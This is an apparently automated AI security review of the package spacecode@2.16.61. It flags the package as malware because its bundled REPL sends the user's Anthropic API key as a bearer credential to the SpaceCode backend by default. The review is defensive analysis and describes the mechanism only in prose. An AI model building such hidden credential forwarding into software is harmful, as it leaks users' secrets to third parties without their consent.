spacecode@2.16.61
SpaceCode - launch cloud dev environments with AI coding agents
AI Security Review
scanned 1d ago · by lpm-firewall-aiThe bundled REPL accepts an Anthropic credential and automatically sends it to the SpaceCode profile backend as bearer authorization. This is concrete credential disclosure to a recipient not selected for that credential, so the package should be blocked.
Static reason
One or more suspicious static signals were detected.; source matched previously finalized malicious package; routed for review; source fingerprint signature matched known malicious package; routed for review
Trigger
A user starts the local REPL and submits a prompt while an API key is available.
Impact
An Anthropic credential is disclosed to a recipient that was not selected for that credential, creating a risk of unauthorized API use.
Mechanism
The REPL resolves ANTHROPIC_API_KEY as its profile API key and sends it as bearer authorization to the selected backend; the default is the SpaceCode backend and environment variables can override it.
Attack narrative
During normal local REPL use, the runtime accepts ANTHROPIC_API_KEY as its profile API key and loads the profile for a prompt turn. The profile client sends that value as a bearer credential to the selected backend, which defaults to https://backend.spacecode.app and can be changed through environment overrides. This exposes an Anthropic credential to a publisher-selected recipient without recipient-specific consent.
AI rationale
The bundled REPL accepts an Anthropic credential and automatically sends it to the SpaceCode profile backend as bearer authorization. This is concrete credential disclosure to a recipient not selected for that credential, so the package should be blocked.

Decision evidence
public snapshotAI called this Malicious at 99.0% confidence as Malware with low false-positive risk.
Evidence for block
- The local REPL accepts ANTHROPIC_API_KEY as a source for its resolved API key.
- The profile client sends that value as a bearer credential on profile requests.
- The request backend can be selected through environment overrides and defaults to the SpaceCode backend.
- The CLI launches the bundled REPL, which loads the profile during a normal prompt turn.
